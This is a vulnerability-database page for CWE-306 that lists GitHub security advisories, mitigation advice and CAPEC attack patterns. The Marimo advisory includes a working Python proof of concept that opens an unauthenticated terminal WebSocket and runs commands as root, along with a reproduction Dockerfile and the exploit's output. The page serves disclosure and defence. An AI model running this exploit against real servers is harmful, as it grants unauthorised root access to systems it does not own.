CWE-306
AllowedMissing Authentication for Critical Function
Abstraction: Base · Status: Draft
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
3492 vulnerabilities reference this CWE, most recent first.
GHSA-266V-Q3GX-4VX4
Vulnerability from github – Published: 2024-10-28 12:30 – Updated: 2026-04-01 18:32Authentication Bypass Using an Alternate Path or Channel vulnerability in MaanTheme MaanStore API allows Authentication Bypass.This issue affects MaanStore API: from n/a through 1.0.1.
{
"affected": [],
"aliases": [
"CVE-2024-50487"
],
"database_specific": {
"cwe_ids": [
"CWE-288",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-28T12:15:16Z",
"severity": "CRITICAL"
},
"details": "Authentication Bypass Using an Alternate Path or Channel vulnerability in MaanTheme MaanStore API allows Authentication Bypass.This issue affects MaanStore API: from n/a through 1.0.1.",
"id": "GHSA-266v-q3gx-4vx4",
"modified": "2026-04-01T18:32:09Z",
"published": "2024-10-28T12:30:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-50487"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/maanstore-api/vulnerability/wordpress-maanstore-api-plugin-1-0-1-account-takeover-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/maanstore-api/wordpress-maanstore-api-plugin-1-0-1-account-takeover-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2679-6MX9-H9XC
Vulnerability from github – Published: 2026-04-08 21:50 – Updated: 2026-04-27 16:30Summary
Marimo (19.6k stars) has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands.
Unlike other WebSocket endpoints (e.g., /ws) that correctly call validate_auth() for authentication, the /terminal/ws endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification.
Affected Versions
Marimo <= 0.20.4
Vulnerability Details
Root Cause: Terminal WebSocket Missing Authentication
marimo/_server/api/endpoints/terminal.py lines 340-356:
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
if not supports_terminal():
await websocket.close(...)
return
# No authentication check!
await websocket.accept() # Accepts connection directly
# ...
child_pid, fd = pty.fork() # Creates PTY shell
Compare with the correctly implemented /ws endpoint (ws_endpoint.py lines 67-82):
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth(): # Correct auth check
return
Authentication Middleware Limitation
Marimo uses Starlette's AuthenticationMiddleware, which marks failed auth connections as UnauthenticatedUser but does NOT actively reject WebSocket connections. Actual auth enforcement relies on endpoint-level @requires() decorators or validate_auth() calls.
The /terminal/ws endpoint has neither a @requires("edit") decorator nor a validate_auth() call, so unauthenticated WebSocket connections are accepted even when the auth middleware is active.
Attack Chain
- WebSocket connect to
ws://TARGET:2718/terminal/ws(no auth needed) websocket.accept()accepts the connection directlypty.fork()creates a PTY child process- Full interactive shell with arbitrary command execution
- Commands run as root in default Docker deployments
A single WebSocket connection yields a complete interactive shell.
Proof of Concept
import websocket
import time
# Connect without any authentication
ws = websocket.WebSocket()
ws.connect('ws://TARGET:2718/terminal/ws')
time.sleep(2)
# Drain initial output
try:
while True:
ws.settimeout(1)
ws.recv()
except:
pass
# Execute arbitrary command
ws.settimeout(10)
ws.send('id\n')
time.sleep(2)
print(ws.recv()) # uid=0(root) gid=0(root) groups=0(root)
ws.close()
Reproduction Environment
FROM python:3.12-slim
RUN pip install --no-cache-dir marimo==0.20.4
RUN mkdir -p /app/notebooks
RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py
WORKDIR /app/notebooks
EXPOSE 2718
CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."]
Reproduction Result
With auth enabled (server generates random access_token), the exploit bypasses authentication entirely:
$ python3 exp.py http://127.0.0.1:2718 exec "id && whoami && hostname"
[+] No auth needed! Terminal WebSocket connected
[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
ddfc452129c3
Suggested Remediation
- Add authentication validation to
/terminal/wsendpoint, consistent with/wsusingWebSocketConnectionValidator.validate_auth() - Apply unified authentication decorators or middleware interception to all WebSocket endpoints
- Terminal functionality should only be available when explicitly enabled, not on by default
Impact
An unauthenticated attacker can obtain a full interactive root shell on the server via a single WebSocket connection. No user interaction or authentication token is required, even when authentication is enabled on the marimo instance.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "marimo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.23.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-39987"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-08T21:50:58Z",
"nvd_published_at": "2026-04-09T18:17:02Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nMarimo (19.6k stars) has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint `/terminal/ws` lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands.\n\nUnlike other WebSocket endpoints (e.g., `/ws`) that correctly call `validate_auth()` for authentication, the `/terminal/ws` endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification.\n\n## Affected Versions\n\nMarimo \u003c= 0.20.4 \n\n## Vulnerability Details\n\n### Root Cause: Terminal WebSocket Missing Authentication\n\n`marimo/_server/api/endpoints/terminal.py` lines 340-356:\n\n```python\n@router.websocket(\"/ws\")\nasync def websocket_endpoint(websocket: WebSocket) -\u003e None:\n app_state = AppState(websocket)\n if app_state.mode != SessionMode.EDIT:\n await websocket.close(...)\n return\n if not supports_terminal():\n await websocket.close(...)\n return\n # No authentication check!\n await websocket.accept() # Accepts connection directly\n # ...\n child_pid, fd = pty.fork() # Creates PTY shell\n```\n\nCompare with the correctly implemented `/ws` endpoint (`ws_endpoint.py` lines 67-82):\n\n```python\n@router.websocket(\"/ws\")\nasync def websocket_endpoint(websocket: WebSocket) -\u003e None:\n app_state = AppState(websocket)\n validator = WebSocketConnectionValidator(websocket, app_state)\n if not await validator.validate_auth(): # Correct auth check\n return\n```\n\n### Authentication Middleware Limitation\n\nMarimo uses Starlette\u0027s `AuthenticationMiddleware`, which marks failed auth connections as `UnauthenticatedUser` but does NOT actively reject WebSocket connections. Actual auth enforcement relies on endpoint-level `@requires()` decorators or `validate_auth()` calls.\n\nThe `/terminal/ws` endpoint has neither a `@requires(\"edit\")` decorator nor a `validate_auth()` call, so unauthenticated WebSocket connections are accepted even when the auth middleware is active.\n\n### Attack Chain\n\n1. WebSocket connect to `ws://TARGET:2718/terminal/ws` (no auth needed)\n2. `websocket.accept()` accepts the connection directly\n3. `pty.fork()` creates a PTY child process\n4. Full interactive shell with arbitrary command execution\n5. Commands run as root in default Docker deployments\n\nA single WebSocket connection yields a complete interactive shell.\n\n## Proof of Concept\n\n```python\nimport websocket\nimport time\n\n# Connect without any authentication\nws = websocket.WebSocket()\nws.connect(\u0027ws://TARGET:2718/terminal/ws\u0027)\ntime.sleep(2)\n\n# Drain initial output\ntry:\n while True:\n ws.settimeout(1)\n ws.recv()\nexcept:\n pass\n\n# Execute arbitrary command\nws.settimeout(10)\nws.send(\u0027id\\n\u0027)\ntime.sleep(2)\nprint(ws.recv()) # uid=0(root) gid=0(root) groups=0(root)\nws.close()\n```\n\n### Reproduction Environment\n\n```dockerfile\nFROM python:3.12-slim\nRUN pip install --no-cache-dir marimo==0.20.4\nRUN mkdir -p /app/notebooks\nRUN echo \u0027import marimo as mo; app = mo.App()\u0027 \u003e /app/notebooks/test.py\nWORKDIR /app/notebooks\nEXPOSE 2718\nCMD [\"marimo\", \"edit\", \"--host\", \"0.0.0.0\", \"--port\", \"2718\", \".\"]\n```\n\n### Reproduction Result\n\nWith auth enabled (server generates random `access_token`), the exploit bypasses authentication entirely:\n\n```\n$ python3 exp.py http://127.0.0.1:2718 exec \"id \u0026\u0026 whoami \u0026\u0026 hostname\"\n[+] No auth needed! Terminal WebSocket connected\n[+] Output:\nuid=0(root) gid=0(root) groups=0(root)\nroot\nddfc452129c3\n```\n\n## Suggested Remediation\n\n1. Add authentication validation to `/terminal/ws` endpoint, consistent with `/ws` using `WebSocketConnectionValidator.validate_auth()`\n2. Apply unified authentication decorators or middleware interception to all WebSocket endpoints\n3. Terminal functionality should only be available when explicitly enabled, not on by default\n\n## Impact\n\nAn unauthenticated attacker can obtain a full interactive root shell on the server via a single WebSocket connection. No user interaction or authentication token is required, even when authentication is enabled on the marimo instance.",
"id": "GHSA-2679-6mx9-h9xc",
"modified": "2026-04-27T16:30:09Z",
"published": "2026-04-08T21:50:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39987"
},
{
"type": "WEB",
"url": "https://github.com/marimo-team/marimo/pull/9098"
},
{
"type": "WEB",
"url": "https://github.com/marimo-team/marimo/commit/c24d4806398f30be6b12acd6c60d1d7c68cfd12a"
},
{
"type": "PACKAGE",
"url": "https://github.com/marimo-team/marimo"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-39987"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-39987"
},
{
"type": "WEB",
"url": "https://www.sysdig.com/blog/marimo-oss-python-notebook-rce-from-disclosure-to-exploitation-in-under-10-hours"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Marimo: Pre-Auth Remote Code Execution via Terminal WebSocket Authentication Bypass"
}
GHSA-26H9-W3FM-WPRG
Vulnerability from github – Published: 2025-05-14 21:31 – Updated: 2025-05-14 21:31A missing authentication vulnerability in Palo Alto Networks Cortex XDR® Broker VM allows an unauthenticated user to disable certain internal services on the Broker VM.
The attacker must have network access to the Broker VM to exploit this issue.
{
"affected": [],
"aliases": [
"CVE-2025-0132"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-14T19:15:51Z",
"severity": "MODERATE"
},
"details": "A missing authentication vulnerability in Palo Alto Networks Cortex XDR\u00ae Broker VM allows an unauthenticated user to disable certain internal services on the Broker VM.\u00a0\n\nThe attacker must have network access to the Broker VM to exploit this issue.",
"id": "GHSA-26h9-w3fm-wprg",
"modified": "2025-05-14T21:31:18Z",
"published": "2025-05-14T21:31:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0132"
},
{
"type": "WEB",
"url": "https://security.paloaltonetworks.com/CVE-2025-0132"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:U/V:C/RE:M/U:Amber",
"type": "CVSS_V4"
}
]
}
GHSA-26WV-HF3J-HJJH
Vulnerability from github – Published: 2026-07-15 18:31 – Updated: 2026-07-15 18:31GPUStack through 2.2.1, fixed in commit 4e20551, contains an unauthenticated information disclosure vulnerability that allows unauthenticated attackers to access sensitive inference logs and modify worker configuration by exploiting unprotected /serveLogs and /debug endpoints on the worker port. Attackers can enumerate model instance IDs to stream serving logs containing prompts and completions, change log levels, and read memory profiling data without any authentication.
{
"affected": [],
"aliases": [
"CVE-2026-58658"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-15T18:16:48Z",
"severity": "HIGH"
},
"details": "GPUStack through 2.2.1, fixed in commit 4e20551, contains an unauthenticated information disclosure vulnerability that allows unauthenticated attackers to access sensitive inference logs and modify worker configuration by exploiting unprotected /serveLogs and /debug endpoints on the worker port. Attackers can enumerate model instance IDs to stream serving logs containing prompts and completions, change log levels, and read memory profiling data without any authentication.",
"id": "GHSA-26wv-hf3j-hjjh",
"modified": "2026-07-15T18:31:58Z",
"published": "2026-07-15T18:31:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58658"
},
{
"type": "WEB",
"url": "https://github.com/gpustack/gpustack/issues/5836"
},
{
"type": "WEB",
"url": "https://github.com/gpustack/gpustack/commit/4e20551b5aaf76f93a8769d32b7fef999e22a4d3"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/gpustack-unauthenticated-information-disclosure-via-worker-endpoints"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-277V-GWFR-HMPJ
Vulnerability from github – Published: 2019-10-11 18:43 – Updated: 2021-05-11 15:02An issue was discovered in LibreNMS through 1.47. A number of scripts import the Authentication libraries, but do not enforce an actual authentication check. Several of these scripts disclose information or expose functions that are of a sensitive nature and are not expected to be publicly accessible.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "librenms/librenms"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.50.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-10668"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2019-09-25T12:52:46Z",
"nvd_published_at": "2019-09-09T13:15:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in LibreNMS through 1.47. A number of scripts import the Authentication libraries, but do not enforce an actual authentication check. Several of these scripts disclose information or expose functions that are of a sensitive nature and are not expected to be publicly accessible.",
"id": "GHSA-277v-gwfr-hmpj",
"modified": "2021-05-11T15:02:40Z",
"published": "2019-10-11T18:43:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10668"
},
{
"type": "WEB",
"url": "https://www.darkmatter.ae/xen1thlabs/librenms-authentication-bypass-vulnerability-xl-19-016"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Missing Authentication for Critical Function in LibreNMS"
}
GHSA-27R2-X487-Q675
Vulnerability from github – Published: 2024-04-15 09:30 – Updated: 2024-08-01 15:31The system application (com.transsion.kolun.aiservice) component does not perform an authentication check, which allows attackers to perform malicious exploitations and affect system services.
{
"affected": [],
"aliases": [
"CVE-2024-3701"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-15T08:15:18Z",
"severity": "CRITICAL"
},
"details": "\nThe system application (com.transsion.kolun.aiservice) component does not perform an authentication check, which allows attackers to perform malicious exploitations and affect system services.\n\n",
"id": "GHSA-27r2-x487-q675",
"modified": "2024-08-01T15:31:39Z",
"published": "2024-04-15T09:30:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3701"
},
{
"type": "WEB",
"url": "https://security.tecno.com/SRC/blogdetail/236?lang=en_US"
},
{
"type": "WEB",
"url": "https://security.tecno.com/SRC/securityUpdates?type=SA"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-27XW-Q7RH-9MRW
Vulnerability from github – Published: 2022-05-26 00:01 – Updated: 2022-06-04 00:00A file write vulnerability exists in the OAS Engine SecureTransferFiles functionality of Open Automation Software OAS Platform V16.00.0112. A specially-crafted series of network requests can lead to remote code execution. An attacker can send a sequence of requests to trigger this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2022-26082"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-05-25T21:15:00Z",
"severity": "CRITICAL"
},
"details": "A file write vulnerability exists in the OAS Engine SecureTransferFiles functionality of Open Automation Software OAS Platform V16.00.0112. A specially-crafted series of network requests can lead to remote code execution. An attacker can send a sequence of requests to trigger this vulnerability.",
"id": "GHSA-27xw-q7rh-9mrw",
"modified": "2022-06-04T00:00:56Z",
"published": "2022-05-26T00:01:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-26082"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2022-1493"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-285J-VFP9-5W9W
Vulnerability from github – Published: 2024-11-15 00:31 – Updated: 2024-11-15 00:31The software tools used by service personnel to test & calibrate the ventilator do not support user authentication. An attacker with access to the Service PC where the tools are installed could obtain diagnostic information through the test tool or manipulate the ventilator's settings and embedded software via the calibration tool, without having to authenticate to either tool. This could result in unauthorized disclosure of information and/or have unintended impacts on device settings and performance.
{
"affected": [],
"aliases": [
"CVE-2024-48966"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-14T22:15:17Z",
"severity": "CRITICAL"
},
"details": "The software tools used by service personnel to test \u0026 calibrate the ventilator do not support user authentication. An attacker with access to the Service PC where the tools are installed could obtain diagnostic information through the test tool or manipulate the ventilator\u0027s settings and embedded software via the calibration tool, without having to authenticate to either tool. This could result in unauthorized disclosure of information and/or have unintended impacts on device settings and performance.",
"id": "GHSA-285j-vfp9-5w9w",
"modified": "2024-11-15T00:31:51Z",
"published": "2024-11-15T00:31:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48966"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-medical-advisories/icsma-24-319-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2896-6GVQ-8VJR
Vulnerability from github – Published: 2022-05-24 17:09 – Updated: 2023-02-02 15:30VDSM and libvirt in Red Hat Enterprise Virtualization Hypervisor (aka RHEV-H) 7-7.x before 7-7.2-20151119.0 and 6-6.x before 6-6.7-20151117.0 as packaged in Red Hat Enterprise Virtualization before 3.5.6 when VSDM is run with -spice disable-ticketing and a VM is suspended and then restored, allows remote attackers to log in without authentication via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2015-5201"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-02-25T21:15:00Z",
"severity": "MODERATE"
},
"details": "VDSM and libvirt in Red Hat Enterprise Virtualization Hypervisor (aka RHEV-H) 7-7.x before 7-7.2-20151119.0 and 6-6.x before 6-6.7-20151117.0 as packaged in Red Hat Enterprise Virtualization before 3.5.6 when VSDM is run with -spice disable-ticketing and a VM is suspended and then restored, allows remote attackers to log in without authentication via unspecified vectors.",
"id": "GHSA-2896-6gvq-8vjr",
"modified": "2023-02-02T15:30:29Z",
"published": "2022-05-24T17:09:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-5201"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHEA-2015:2527"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/cve-2015-5201"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1253882"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1273144"
},
{
"type": "WEB",
"url": "https://rhn.redhat.com/errata/RHEA-2015-2527.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-28C6-PJXJ-5QXG
Vulnerability from github – Published: 2024-08-13 12:30 – Updated: 2024-08-13 12:30A vulnerability in the combination of the OpenBMC's FW1050.00 through FW1050.10, FW1030.00 through FW1030.50, and FW1020.00 through FW1020.60 default password and session management allow an attacker to gain administrative access to the BMC. IBM X-Force ID: 290674.
{
"affected": [],
"aliases": [
"CVE-2024-35124"
],
"database_specific": {
"cwe_ids": [
"CWE-288",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-13T12:15:06Z",
"severity": "HIGH"
},
"details": "A vulnerability in the combination of the OpenBMC\u0027s FW1050.00 through FW1050.10, FW1030.00 through FW1030.50, and FW1020.00 through FW1020.60 default password and session management allow an attacker to gain administrative access to the BMC. IBM X-Force ID: 290674.",
"id": "GHSA-28c6-pjxj-5qxg",
"modified": "2024-08-13T12:30:53Z",
"published": "2024-08-13T12:30:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35124"
},
{
"type": "WEB",
"url": "https://https://exchange.xforce.ibmcloud.com/vulnerabilities/290674"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7163195"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
- Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
- In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
- In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].
CAPEC-12: Choosing Message Identifier
This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.
CAPEC-166: Force the System to Reset Values
An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.
CAPEC-216: Communication Channel Manipulation
An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.
CAPEC-36: Using Unpublished Interfaces or Functionality
An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.